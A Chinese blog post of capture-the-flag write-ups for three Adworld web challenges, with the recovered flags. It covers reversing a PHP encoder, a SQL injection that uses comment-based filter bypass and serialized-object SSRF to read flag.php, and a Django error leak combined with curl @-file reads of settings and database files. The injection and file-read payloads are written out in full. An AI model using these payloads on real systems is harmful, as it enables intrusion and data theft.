资讯专栏INFORMATION COLUMN

CTF_Web:攻防世界高手区进阶题WP(19-21)

kviccn / 3945人阅读

摘要:尝试把查询到的数据带入位置中,发现返回正常页面,也就是说,被查询的序列化字符串被反序列化后显示到了前面个字段,这时我们需要构造序列化串,来读取我们需要的文件。构造序列化串读取传入的位置,使我们的字符串被序列化读取文件。

0x00 NSCTFweb2题解(19)

打开题目直接是一段代码,提示逆向即为flag,首先看代码:

 

从算法可以看出,最后呈现给我们的字符串是str_rot13(strrev(base64_encode($_)));,而$_for循环中挨个取值ascii码加1的结果,我们一步步逆向回去即可。
首先进行rot13解码。

$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; $miwen=str_rot13($miwen);

然后将字符串反转后进行base64解密。

$miwen=strrev($miwen);$miwen1 = base64_decode($miwen);

然后逆向for循环中的语句,所有加1变减1即可,最后因为$_=$_.$_c;是向后拼接的结果,所以要再次将字符串翻转。

for ($_0=0;$_0

最终结果为flag,全部提交为正确答案。
完整代码为:

";$_=""; #初始化变量for ($_0=0;$_0

运行结果为:

flag为:

flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}

0x01 网鼎杯 2018 fakebook题解(20)

这个题目首先是需要登录后,进行查询操作,最后在查询时将字段的值反序列化得到敏感文件,是一道比较综合的题目。
首先主页显示的一个blog系统,显示用户的id、blog等信息。
当我们注册一个登录后,页面显示为:

然后username是一个链接,这里是去查询这个id的所有信息,也就是这4个字段,url为:

http://111.200.241.244:53591/view.php?no=1

输入单引号报错,说明可能存在注入漏洞

尝试注入:
这里注入点是数字型,no表示的应当是id号。
所以直接在参数后加order by即可。
经过测试共4个字段。
使用union联合查询时报错,发现过滤了union select整个语法。

使用注释符绕过一下。

-1%20union/**/select%201,2,3,4#

可以看到这个时候回显的位置已经判断出来了,username已经从1变成了2,说明我们此时查询回显的位置为2,将2中的语句替换,使用

-1%20union/**/select%201,database()3,4#-1%20union/**/select%201,user(),3,4#-1%20union/**/select%201,select%20group_concat(SCHEMA_NAME)%20from%20information_schema.SCHEMATA,3,4#

查询所有的数据库和当前库名、用户名。得到信息:

所有数据库为:fakebookinformation_schemamysqlperformance_schematest 当前库为:fakebook当前用户为:root@localhost 

使用

-1%20union/**/select%201,(select%20group_concat(TABLE_NAME)%20from%20information_schema.TABLES%20where%20TABLE_SCHEMA=%27fakebook%27),3,4#

查询fakebook库中的表为users
使用

-1%20union/**/select%201,(select%20group_concat(COLUMN_NAME)%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=%27fakebook%27%20and%20TABLE_NAME=%27users%27),3,4#

查询表中字段为:

nousernamepasswddata   

可见数据库中并没有flag字段,当然要是有这个题就太基础了。
接下来就到了这个题目的第二部,源码审计,在robots.txt中发现了user.php的备份文件,下载下来查看:

name = $name;        $this->age = (int)$age;        $this->blog = $blog;    }    function get($url)    {        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL, $url);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);        $output = curl_exec($ch);        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);        if($httpCode == 404) {            return 404;        }        curl_close($ch);        return $output;    }    public function getBlogContents ()    {        return $this->get($this->blog);    }    public function isValidBlog ()    {        $blog = $this->blog;        return preg_match("/^(((http(s?))/:////)?)([0-9a-zA-Z/-]+/.)+[a-zA-Z]{2,6}(/:[0-9]+)?(///S*)?$/i", $blog);    }}

代码没有反序列化的各种绕过和Pop链,只有一个解析域名的SSRF漏洞,可以通过curl_exec包含本地文件,这里通过注入查找发现data中的数据就是序列化之后的字串。

-1%20union/**/select%201,(select%20data%20from%20users%20where%201=1),3,4#

返回的data数据为:
且报错显示在反序列化时发生了错误。
尝试把查询到的数据带入4位置中,发现返回正常页面,也就是说,被查询的序列化字符串被反序列化后显示到了前面3个字段,这时我们需要构造序列化串,来读取我们需要的文件。

构造序列化串读取/var/www/html/flag.php

O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

传入4的位置,使我们的字符串被序列化读取文件。
最终payload:

no=-11%20union/**/SELECT%201,2,3,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:1:%221%22;s:3:%22age%22;i:1;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.php%22;}%27#

返回页面为:
得到flag:

flag{c1e552fdf77049fabf65168f22f7aeab}

0x02 WHCTF-2017 CAT题解(21)

这个题目打开之后要求输入一个域名,试试baidu.com,没什么反应。
但是url变了,增加了一个参数可以控制,url=
试试127.0.0.1,发现是一个ping命令,返回执行的结果。

但使用|管道符和;分号分割命令都不可行,都被过滤。
其实这个题目没有什么特殊的思路,大佬们的wp也都比较简单,总的来说就是让这个框架写的后台报错,在报错信息中找到答案,当然这里首先是FUZZ了所有过滤的字符,发现只留下了@这一个字符,然后通过超出ascii码的输入使框架报错,这里使用宽字节使后台报错,输入%bf,返回错误信息。
报错信息中提示出现错误的python路径为/opt/api,在处理gbk编码时解码出现了错误,没有办法继续执行了。
这里大佬们都说对python站点使用Django框架,配置信息会存放在工作目录的setting.py中。这里php curl中有一个知识点,可以使用@加上完整的路径来传递文件,从而找到我们的敏感信息,首先使用

@/opt/api/api/settings.py

来获取数据库配置的信息,但是事实上在一开始宽字节报错时下面就有一部分setting的报错,已经将数据库的信息打印了出来,所以只需要直接去找数据库的信息即可。

这里使用

@/opt/api/database.sqlite3

在报错信息中找到flag。

flag为:

WHCTF{yoooo_Such_A_G00D_@}

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/119745.html

相关文章

  • 攻防世界 web进阶 NewsCenter

    摘要:标题攻防世界进阶区最近刚入这一块想想写了道,新手勿喷这也是我第一次写博客先看题目点开来是这样的界面说实话一开始没有头绪,看着这个界面觉得很奇怪,但是基于之前写过的几道题我还是按开了开发者视图,在里面找了很久没发现什么有 ...

    nodejh 评论0 收藏0
  • 攻防世界之labour

    摘要:攻防世界之这题是一个装呗题当我得到这个文件的时候额这是个什么玩意似乎像怎么个东西,但是又好像不是思索不出办法的我,只能看向那个门口了哎不是这个门口也不是这个门口到底是那个门口呢这就不说了后来当我发现这是一个位置信息的时 ...

    WilsonLiu95 评论0 收藏0
  • [一千道逆向] 攻防世界1-5解(偏动调)

    摘要:目录前言前言立了个,刷满一千道逆向。先从攻防世界开始。查壳新手区应该没壳,下面不查了。逻辑很清晰,你可控的输入点在,然后把你输入的每一个字符以进制读取存到,最后再用和进行比对。 ...

    番茄西红柿 评论0 收藏0
  • 攻防世界 misc 练习 T3

    摘要:这是一个简单的加密题需要用到的在线工具与佛论禅先用与佛论禅解出加密的代码再用在线工具解密得到加密的代码最后用解密即可 这是一个简单的加密题 需要用到的在线工具:与佛论禅,rot 13,base64 先用与佛论禅解出rot 13加密的代码: MzkuM3gvMUAwnzuvn3cgozMlMT...

    不知名网友 评论0 收藏0
  • CTF学习经验分享(Web方向)

    摘要:也是朋友推荐的题目分类比较清晰在技能树那挨个点进去可以循序渐进的学习很适合初学而且查找近期赛程特别方便赛程表清晰明了。我们学校完全没有学习的环境与资源更没有战队哎总之先一起加油吧         本人Web安全初学者,记录分享一下学习历程,推荐评价仅代表个人观点&...

    番茄西红柿 评论0 收藏2637

发表评论

0条评论

kviccn

|高级讲师

TA的文章

阅读更多
最新活动
阅读需要支付1元查看
<